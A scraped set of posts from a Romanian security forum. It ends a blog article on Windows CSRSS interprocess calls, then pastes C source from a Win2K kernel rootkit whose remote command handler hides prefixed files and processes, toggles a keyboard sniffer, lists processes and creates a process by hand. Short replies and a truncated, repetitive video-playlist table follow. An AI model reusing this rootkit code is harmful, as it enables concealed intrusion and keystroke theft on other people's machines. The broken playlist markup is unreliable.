yourself. This should give you even better insight at how the cross-process data exchange reliability is actually achieved. Sending What’s been already described – if one wants to make use of large data transfers, he must allocate a CaptureBuffer, specifying the number of memory blocks and the total byte count, fill it with the desired data (using CsrCaptureMessageBuffer or CsrCaptureMessageString), and call the CsrClientCallServer, supplying an LPC structure, (containing the data-pointers into CaptureBuffer) as the first parameter, and the CaptureBuffer itself – as the second one. The rest of the job is up to ntdll. Please keep in mind that one CaptureBuffer can be technically utilized only once – and therefore, it should be freed after its first (and last) usage, using CsrFreeCaptureBuffer. Examples In this particular case, every CsrApi handler using the CsrValidateMessageBuffer import makes a good example, let it be: winsrv!SrvAllocConsole winsrv!SrvSetConsoleTitle winsrv!SrvAddConsoleAlias … and numerous other functions, which are pretty easy to find by oneself. Conclusion This post entry aimed to briefly present the “Native Csr Interface” – both in terms of the functions, structures and mechanisms playing some role in the Inter-Process Communication. As you must have noted, only client-side perspective has been described here, as the precise way of CSRSS receiving, handling and responding to the request is a subject for another, long article (or two). And so – if you feel like some important Csr~ routines should have been described or mentioned here – let me know. On the other hand, I am going to cover the remaining, smaller functions (such as CsrGetProcessId) in one, separate post called CSRSS Tips & Tricks. Watch out for (part 3/3) and don’t hesitate to leave constructive comments! Cheers! Sursa 1: Windows CSRSS Write Up: Inter-process Communication (part 1/3) | j00ru//vx tech blog Sursa 2: Windows CSRSS Write Up: Inter-process Communication (part 2/3) | j00ru//vx tech blog
-
rk_command.c #include "rk_driver.h" #include "rk_command.h" #include "rk_defense.h" #include "rk_process.h" BOOL g_hide_directories = TRUE; BOOL g_hide_proc = TRUE; BOOL g_sniff_keys = FALSE; struct _csrmsg { PORT_MESSAGE PortMessage; struct CSRSS_MESSAGE CsrssMessage; PROCESS_INFORMATION ProcessInformation; CLIENT_ID Debugger; ULONG CreationFlags; ULONG VdmInfo[2]; } csrmsg; //////////////////////////////////////////////////////////////////// // these functions are dynamically linked out of NTDLL since // they are not exported. //////////////////////////////////////////////////////////////////// typedef NTSTATUS (*CsrClientCallServer) ( IN PVOID Message, IN PVOID, IN ULONG OpCode, IN ULONG Size ); typedef NTSTATUS (*ZwWriteVirtualMemory) ( IN HANDLE hProcess, IN PVOID BaseAddress, IN PVOID Buffer, IN ULONG BytesToWrite, OUT PULONG BytesWritten ); //typedef NTSTATUS (*GetEnvironmentStringsW) ( // ... //); typedef NTSTATUS (*RtlDestroyProcessParameters) ( IN PPROCESS_PARAMETERS ProcessParameters ); typedef NTSTATUS (*RtlCreateProcessParameters) ( OUT PPROCESS_PARAMETERS *ProcessParameters, IN PUNICODE_STRING ImageFile, IN PUNICODE_STRING DllPath OPTIONAL, IN PUNICODE_STRING CurrentDirectory OPTIONAL, IN PUNICODE_STRING CommandLine OPTIONAL, IN ULONG CreationFlags, IN PUNICODE_STRING WindowTitle OPTIONAL, IN PUNICODE_STRING Desktop OPTIONAL, IN PUNICODE_STRING Reserved OPTIONAL, IN PUNICODE_STRING Reserved2 OPTIONAL ); typedef NTSTATUS (*ZwResumeThread) ( IN HANDLE hThread, OUT PULONG pSuspendCount ); typedef NTSTATUS (*ZwProtectVirtualMemory) ( IN HANDLE hProcess, IN OUT PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG Protect, OUT PULONG OldProtect ); typedef NTSTATUS (*ZwCreateProcess) ( OUT PHANDLE phProcess, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE hParentProcess, IN BOOLEAN bInheritParentHandles, IN HANDLE hSection OPTIONAL, IN HANDLE hDebugPort OPTIONAL, IN HANDLE hExceptionPort OPTIONAL ); typedef NTSTATUS (*ZwOpenFile) ( OUT PHANDLE phFile, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK pIoStatusBlock, IN ULONG ShareMode, IN ULONG OpenMode ); //////////////////////////////////////////////////////////////////// // commands passed from the kernel shell are handled here // //////////////////////////////////////////////////////////////////// void process_rootkit_command(char *theCommand) { char _c[256]; BOOL return_prompt = TRUE; sprintf(_c, "rootkit: process_rootkit_command %s, len %d", theCommand, strlen(theCommand)); DbgPrint(_c); if(0 == strlen(theCommand)) { //the user pressed return, which is meant to break out //of sniffer-modes - so make sure all sniffers are off if(g_sniff_keys) { char _t[] = "------------------------------------------\r\nsniffkeys is now OFF.\r\n"; g_sniff_keys = FALSE; ReturnDataToClient(_t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'help' // return a help string //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "help")) { char _help[] = "Win2K Rootkit by the team rootkit.com\r\n" \ "Version 0.4 alpha\r\n" \ "------------------------------------------\r\n" \ "command description \r\n" \ "\r\n" \ "ps show proclist \r\n" \ "help this data \r\n" \ "buffertest debug output \r\n" \ "hidedir hide prefixed file/dir\r\n" \ "hideproc hide prefixed processes\r\n" \ "debugint (BSOD)fire int3 \r\n" \ "sniffkeys toggle keyboard sniffer\r\n" \ "echo <string> echo the given string\r\n" \ "\r\n*(BSOD) means Blue Screen of Death\r\n" \ "if a kernel debugger is not present!\r\n" \ "*'prefixed' means the process or filename\r\n" \ "starts with the letters '_root_'.\r\n" \ "\r\n"; ReturnDataToClient(_help, strlen(_help)); } //////////////////////////////////////////////////////////////// // Command: 'echo' 'string' // echo back the string, useful for rootkit patches that need // to send data to a connected client //////////////////////////////////////////////////////////////// else if(0 == memcmp(theCommand, "echo ", 5)) { int l = strlen(&theCommand[5]); if(l) { return_prompt=FALSE; ReturnDataToClient(&theCommand[5], l); } } //////////////////////////////////////////////////////////////// // Command: 'ps' // returns the process list running on the host //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "ps")) { command_get_proclist(); } //////////////////////////////////////////////////////////////// // Command: 'buffertest' // debug function causes a large number of packets to return // used to debug the TCP/IP stack functionality //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "buffertest")) { int count=0; for(count=0;count<100;count++) { int x; sprintf(_c, ".%d.", count); x = strlen(_c); ReturnDataToClient(_c, x); } } //////////////////////////////////////////////////////////////// // Command: 'sniffkeys' // toggles keyboard sniffer //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "sniffkeys")) { if(g_sniff_keys) { char _t[] = "keyboard sniffing now OFF\r\n"; g_sniff_keys = FALSE; ReturnDataToClient( _t, strlen(_t)); } else { char _t[] = "keyboard sniffing now ON\r\n------------------------------------------\r\n"; return_prompt=FALSE; g_sniff_keys = TRUE; ReturnDataToClient( _t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'hidedir' // toggles directory hiding with '_root_' prefix //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "hidedir")) { if(g_hide_directories) { char _t[] = "directory prefix-hiding now OFF\r\n"; g_hide_directories = FALSE; ReturnDataToClient( _t, strlen(_t)); } else { char _t[] = "directory prefix-hiding now ON\r\n"; g_hide_directories = TRUE; ReturnDataToClient( _t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'hideproc' // toggles process hiding with '_root_' prefix //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "hideproc")) { if(g_hide_proc) { char _t[] = "process prefix-hiding now OFF\r\n"; g_hide_proc = FALSE; ReturnDataToClient( _t, strlen(_t)); } else { char _t[] = "process prefix-hiding now ON\r\n"; g_hide_proc = TRUE; ReturnDataToClient( _t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'debugint' // debug function causes a debug interrupt to fire // this will BSOD the machine unless a kernel debugger is // present. //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "debugint")) { __asm int 3 } else { char t[256]; sprintf(t, "error: unknown or malformed command %s\r\n", theCommand); ReturnDataToClient( t, strlen(t)); } if(return_prompt) //this is our prompt, an upside-down question-mark ¿ ReturnDataToClient("\xA8", 1); } /////////////////////////////////////////////////////////////////// // commands requested from kernel shell, many of these return // data to the connected client. /////////////////////////////////////////////////////////////////// // --[ command_get_proclist ]--------------------------- // utility routine, dump process list // should only be called at IRQL_PASSIVE // this will send a process list back to the connected // client over the TCP/IP session // ----------------------------------------------------- void command_get_proclist() { unsigned long n = 0x100; struct _SYSTEM_PROCESSES *p = (struct _SYSTEM_PROCESSES *)ExAllocatePool(NonPagedPool, n); if(p) { struct _SYSTEM_PROCESSES *curr = NULL; // ------------------------------------------------------------------ // spin until our buffer is large enough to hold the results. // Information Class 5 is 'ProcessAndThreadsInformation' // ------------------------------------------------------------------ while(ZwQuerySystemInformation( 5, p, n, 0) == STATUS_INFO_LENGTH_MISMATCH) { ExFreePool(p); n *= 2; p = (struct _SYSTEM_PROCESSES *)ExAllocatePool(NonPagedPool, n); if(NULL == p) { break; } } if(p) { curr = p; // ------------------------------------------------------------------------- // forward through all entries in an array of process structures // some processes will not have names. (System Idle, for example) // ------------------------------------------------------------------------- while(curr) { ANSI_STRING process_name; RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE); if( (0 < process_name.Length) && (200 > process_name.Length) ) { char _output[255]; char _pname[255]; int tslen = 0; memset(_pname, NULL, 255); memcpy(_pname, process_name.Buffer, process_name.Length); sprintf( _output, "%d\t%s\r\n", curr->ProcessId, _pname); tslen = strlen(_output); ReturnDataToClient(_output, tslen); } RtlFreeAnsiString(&process_name); if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } ExFreePool(p); } } } #if 1 /* _________________________________________________ . This function is intended to launch a WIN32 . process. So far, the process creation works. . We are actually building a real process - the . stumper right now is how to create the inital . thread - we can create the process, but it doesn't . >DO< anything until we start an initial thread! . So far we haven't figured out how to initialize . the thread context & stack for NtCreateThread(). . . Update Feb 3, trying to get this working again... . _________________________________________________ */ PVOID FindNT() { ULONG n; PULONG q; PSYSTEM_MODULE_INFORMATION p; PVOID ntdll = NULL; ULONG i; ZwQuerySystemInformation( 11, &n, 0, &n); //SystemModuleInformation q = (PULONG)ExAllocatePool(PagedPool, n); ZwQuerySystemInformation( 11, q, n * sizeof *q, 0); p = (PSYSTEM_MODULE_INFORMATION)(q+1); for(i=0; i < *q; i++) { if(0 == memcmp( p.ImageName + p.ModuleNameOffset, "ntdll.dll", 9)) { // we have a winner ntdll = p.Base; } } ExFreePool(p); return ntdll; } PVOID FindFunction(PVOID Base, PCSTR Name) { ULONG size; ULONG addr; ULONG i; PULONG functions; PULONG ordinals; PULONG names; PVOID func; PIMAGE_EXPORT_DIRECTORY exports; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)(Base); PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PCHAR)Base + dos->e_lfanew); PIMAGE_DATA_DIRECTORY expdir = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; size = expdir->Size; addr = expdir->VirtualAddress; exports = (PIMAGE_EXPORT_DIRECTORY)((PCHAR)Base + addr); functions = (PULONG)( (PCHAR)Base + exports->AddressOfFunctions); ordinals = (PULONG)( (PCHAR)Base + exports->AddressOfNameOrdinals); names = (PULONG)( (PCHAR)Base + exports->AddressOfNames); func = 0; for(i=0;i<exports->NumberOfNames;i++) { ULONG ord = ordinals; if(functions[ord] < addr || functions[ord] >= addr + size) { if(strcmp((PSTR)((PCHAR)Base + names), Name) == 0) func = (PCHAR)Base + functions[ord]; } } return func; } void InformCsrss( HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid) { memset(&csrmsg, NULL, sizeof(struct _csrmsg)); csrmsg.ProcessInformation.hProcess = hProcess; csrmsg.ProcessInformation.hThread = hThread; csrmsg.ProcessInformation.pid = pid; csrmsg.ProcessInformation.tid = tid; CsrClientCallServer( &csrmsg, 0, 0x10000, 0x24 ); } PWSTR CopyEnvironment(HANDLE hProcess) { PWSTR env = GetEnvironmentStringsW(); ULONG m; ULONG n; PVOID p = 0; for(n = 0; env[n] != 0; n += wcslen(env + n) + 1) ; n *= sizeof *env; m = n; ZwAllocateVirtualMemory(hProcess, &p, 0, &m, MEM_COMMIT, PAGE_READWRITE ); ZwWriteVirtualMemory( hProcess, p, env, n, 0); return (PWSTR)p; } VOID CreateProcessParameters( HANDLE hProcess, PPEB Peb, PUNICODE_STRING ImageFile ) { PPROCESS_PARAMETERS pp; PVOID p = 0; ULONG n; RtlCreateProcessParameters( &pp, ImageFile, 0, 0, 0, 0, 0, 0, 0, 0); pp->Environment = CopyEnvironment(hProcess); n = pp->Size; ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE ); ZwWriteVirtualMemory( hProcess, p, pp, pp->Size, 0); ZwWriteVirtualMemory( hProcess, (PCHAR)(Peb) + 0x10, &p, sizeof p, 0); RtlDestroyProcessParameters(pp); } int exec(PUNICODE_STRING name) { HANDLE hProcess, hThread, hSection, hFile; OBJECT_ATTRIBUTES oa; IO_STATUS_BLOCK iosb; PROCESS_BASIC_INFORMATION pbi; SECTION_IMAGE_INFORMATION sii; USER_STACK stack = {0}; CONTEXT context = {CONTEXT_FULL}; CLIENT_ID cid; ULONG n; PVOID p; ULONG x; oa.Length = sizeof oa; oa.RootDirectory = 0; oa.ObjectName = name; oa.Attributes = OBJ_CASE_INSENSITIVE; ZwOpenFile( &hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SYNCHRONOUS_IO_NONALERT ); oa.ObjectName = 0; ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0, PAGE_EXECUTE, 0x01000000, //SEC_IMAGE hFile); ZwClose(hFile); ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, NtCurrentProcess(), TRUE, hSection, 0, 0); ZwQuerySection( hSection, SectionImageInformation, &sii, sizeof sii, 0); ZwClose(hSection); n = sii.StackReserve; ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n, MEM_RESERVE, PAGE_READWRITE); stack.ExpandableStackBase = (PCHAR)(stack.ExpandableStackBottom) + sii.StackReserve; stack.ExpandableStackLimit = (PCHAR)(stack.ExpandableStackBase) - sii.StackCommit; n = sii.StackCommit + PAGE_SIZE; p = (PCHAR)(stack.ExpandableStackBase) - n; ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE); n = PAGE_SIZE; ZwProtectVirtualMemory( hProcess, &p, &n, PAGE_READWRITE | PAGE_GUARD, &x ); context.SegGs = 0; context.SegFs = 0x38; context.SegEs = 0x20; context.SegDs = 0x20; context.SegSs = 0x20; context.SegCs = 0x18; context.EFlags = 0x3000; context.Esp = (ULONG)(stack.ExpandableStackBase) - 4; context.Eip = (ULONG)(sii.EntryPoint); ZwCreateThread( &hThread, THREAD_ALL_ACCESS, &oa, hProcess, &cid, &context, &stack, TRUE); ZwQueryInformationProcess( hProcess, ProcessBasicInformation, &pbi, sizeof pbi, 0); CreateProcessParameters( hProcess, pbi.PebBaseAddress, name); InformCsrss(hProcess, hThread, (ULONG)(cid.UniqueProcess), (ULONG)(cid.UniqueThread)); ZwResumeThread(hThread, 0); ZwClose(hProcess); ZwClose(hThread); return (int)(cid.UniqueProcess); } void TestLaunchWin32Process() { UNICODE_STRING FileName; RtlInitUnicodeString(&FileName, L"\\??\\C:\\winnt\\system32\\calc.exe"); exec(&FileName); } #endif E o bucata dintr-un rootkit. Am postat pentru ca la final sunt niste lucruri interesante: crearea manuala a unui proces. Sursa:
-
http://www.emag.ro/laptop-lenovo-essential-b5400-cu-procesor-intel-174-core-small-sup-tm-sup-small-i5-4200m-2-50ghz-haswell-full-hd-4gb-500gb-sshd-8gb-nvidia-geforce-820m-1gb-freedos-black-59416687/pd/DBJ8QBBBM/ ?
-
La multi ani celor pe care ii cheama "Alexandru" din partea lu' "Lacrima lui Ovidiu"!
-
Am testat si am primit email si pe Yahoo! si pe Gmail. Daca e vorba de un alt domeniu da-mi PM cu adresa de mail si verific. Nota: Mai ajung si in Spam.
-
Po****r Hackforums Website Defaced by Egyptian Hacker
Nytro replied to TheOne's topic in Stiri securitate
DNS hijack. -
Bypass Antivirus Dynamic Analysis
Nytro replied to Usr6's topic in Reverse engineering & exploit development
Super. Banale dar eficiente. -
Nu pare open-source. De ce TrueCrypt care e open-source ar avea backdoor si noi ar trebui sa avem mai multa incredere intr-un program "Enterprise" non-open-source?
-
Ce backdoor? Nu de alta, dar m-am uitat prin codul lui tocmai din aceasta privinta si nu am gasit nimic interesant.
-
daca se sinucide o fata din cauza mea ce patesc? [fara caterinca]
Nytro replied to EterNo's topic in Discutii non-IT
Poti sa o dai in judecata daca te ameninta cu asa ceva. Vorbesc serios. E tot o forma de santaj. -
Video Tutorial: Introduction to Web Application Pen-Testing
Nytro replied to Nytro's topic in Tutoriale video
[h=1]Web Application Pen-Testing[/h] [TABLE=class: pl-video-table] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 49:51 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 27:17 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 7:37 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 1:05:13 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 30:41 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 30:02 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 25:31 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 32:45 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 14:49 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 22:08 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 47:14 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 57:39 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 58:42 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 1:10:58 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 57:03 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 30:48 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 19:44 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:52 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 33:43 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 47:42 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 32:44 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 8:22 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 39:21 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 20:56 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 54:31 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:58 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:58 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: 